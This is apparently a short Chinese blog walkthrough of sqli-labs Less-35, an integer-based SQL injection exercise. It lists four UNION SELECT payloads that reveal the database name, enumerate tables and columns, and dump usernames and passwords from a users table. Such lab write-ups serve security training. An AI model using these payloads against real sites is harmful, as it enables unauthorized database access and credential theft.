zoukankan      html  css  js  c++  java
  • Less(35)GET-Bypass Add Slashes(we dont need them)Interger based

    1.是数字类型 的

    2.爆破

      (1)爆库:?id=-1 union select 1,version(),database()--+

        

      (2)爆表:?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479 --+

      

      (3)爆列名:?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273--+

        

      (4)爆值:?id=-1 union select 1,group_concat(username,0x7e,password),3 from security.users --+

        

        

        

  • 相关阅读:
    Alpha冲刺
    Alpha冲刺
    抽奖系统(记一次未完成的教训)
    Alpha冲刺
    软件工程
    软工实践
    软工实践
    软工实践
    软工实践
    软工实践
  • 原文地址:https://www.cnblogs.com/meng-yu37/p/12404559.html
Copyright © 2011-2022 走看看